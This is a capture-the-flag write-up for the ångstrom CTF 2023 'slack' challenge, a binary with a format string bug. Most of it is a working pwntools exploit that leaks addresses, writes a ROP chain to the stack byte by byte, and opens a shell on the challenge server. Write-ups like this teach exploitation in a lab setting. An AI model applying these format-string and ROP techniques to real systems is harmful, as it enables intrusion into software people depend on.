ångstrom CTF 2023 - slack (fsb)

Join the ångstromCTF slack!
nc challs.actf.co 31500
Author: JoshDaBosh

  • [64 solves / 140 points]

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v4; // eax
int i; // [rsp+8h] [rbp-68h]
__gid_t rgid; // [rsp+Ch] [rbp-64h]
time_t timer; // [rsp+10h] [rbp-60h] BYREF
struct tm *tp; // [rsp+18h] [rbp-58h]
char s[32]; // [rsp+20h] [rbp-50h] BYREF
char format[40]; // [rsp+40h] [rbp-30h] BYREF
unsigned __int64 v13; // [rsp+68h] [rbp-8h]

v13 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
puts("Welcome to slack (not to be confused with the popular chat service Slack)!");
timer = time(0LL);
tp = localtime(&timer);
v3 = time(0LL);
srand(v3);
for ( i = 0; i <= 2; ++i )
{
strftime(s, 0x1AuLL, "%Y-%m-%d %H:%M:%S", tp);
v4 = rand();
printf("%s -- slack Bot: %s\n", s, (&messages)[v4 % 8]);
printf("Your message (to increase character limit, pay $99 to upgrade to Professional): ");
fgets(format, 14, stdin);
tp = localtime(&timer);
strftime(s, 0x1AuLL, "%Y-%m-%d %H:%M:%S", tp);
printf("%s -- You: ", s);
printf(format); // fsb
putchar(10);
}
return v13 - __readfsqword(0x28u);
}

I just found the 3rd fsb only in this CTF. haha.

Anyway, only the buffer is 14 bytes. Actually 1 byte is for NULL. (Because fgets() receives string.)

Be careful when inputting with the fgets() becuase it receives an enter(‘\n’). It means if you send 13 bytes, you’ll have to send without ‘\n’. And if you send under 13 bytes, you’ll have to send including ‘\n’.

Solve

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

We can’t do overwriting because of FULL RELRO.


I need to get red’s offest(25) and yellow’s offset(55).

First, I access the red’s offset, and then write a ptr_idx + 3 address. Because ptr_idx is small, so I have limit to trigger fsb vulnerability. So, I have to unlock this limit. I access yellow’s offset, and write a 0x80. Because I want to make ptr_idx as a negative.

So, I can trigger fsb vulnerability infinitely!! This rule also applies when rop_payload write to the stack.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *

# context.log_level = 'debug'
context.arch = 'amd64'

# p = process('./slackp')
p = remote('challs.actf.co', 31500)
e = ELF('./slackp')
libc = ELF('./libc.so.6')


payload = b'%p_%9$p'
p.recvuntil('Professional):')
p.sendline(payload)

p.recvuntil('0x')
stack_leak = int(p.recvuntil('_')[:-1], 16)
p.recvuntil('0x')
libc.address = int(p.recvline(), 16) - 0x2206a0

info(hex(stack_leak))
info(hex(libc.address))

# offset 25번째에 저장된 주소 0x00007fffe4063d28
ptr_idx = stack_leak + 0x2128
info('ptr_idx :: ' + hex(ptr_idx))
payload = f'%{(ptr_idx+3) & 0xffff}c%25$hn' # hn은 2바
info(hex(len(payload)))

p.recvuntil('Professional):')
p.send(payload)

p.recvuntil('Professional):')
p.sendline('%128c%55$hhn') # hhn은 1바
# gef> x/wx $rbp-0x68
# 0x7fff51b42e88: 0x80000003

pop_rdi = libc.address + 0x2a3e5
ret = libc.address + 0x29cd6

rop_payload = b''
rop_payload += p64(pop_rdi)
rop_payload += p64(next(libc.search(b'/bin/sh\x00')))
rop_payload += p64(ret)
rop_payload += p64(libc.symbols['system'])

stack_ret = stack_leak + 0x2198
# rop_payload를 stack_ret부터 1바이트씩 써야 한다.

for i in range(len(rop_payload)):
# 1. 25에 접근해서 55번째에 stack_ret 2바이트씩 쓰기
payload = f'%{(stack_ret+i) & 0xffff}c%25$hn'
p.recvuntil('Professional):')
# pause()
p.send(payload)

# 2. 55에 접근해서(stack_ret에 접근해서) rop_payload 1바이트씩 쓰기
p.recvuntil('Professional):')
if rop_payload[i] == 0:
#info(hex(rop_payload[i]))
# pause()
payload = f'%55$hhn'
p.sendline(payload) # send로 보내면 안됨
else:
payload = f'%{rop_payload[i]}c%55$hhn'
p.sendline(payload) # send로 보내면 안됨


# stack_ret에 rop_payload 적어주고 프로그램을 종료되게 만들어야 함
# ptr_idx에 2 넣어주자.
payload = f'%{ptr_idx & 0xffff}c%25$hn' # hn은 2바
p.recvuntil('Professional):')
p.send(payload)

p.recvuntil('Professional):')
p.sendline('%2c%55$n') # n은 4바

p.interactive()

If you want to make function that writes rop_payload to the stack, you can do it like this. :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def write_byte(addr, value):
payload = f'%{addr & 0xffff}c%25$hn'
print(f'write {hex(value)} to {hex(addr)}')

p.recvuntil('Professional):')
if len(payload) == 13:
p.send(payload)
else:
p.sendline(payload)

p.recvuntil('Professional):')
if value == 0:
p.sendline(f'%55$hhn')
else:
p.sendline(f'%{value}c%55$hhn')

Flag

1
actf{succesfu1_onb0arding_f99454d9a2f42632}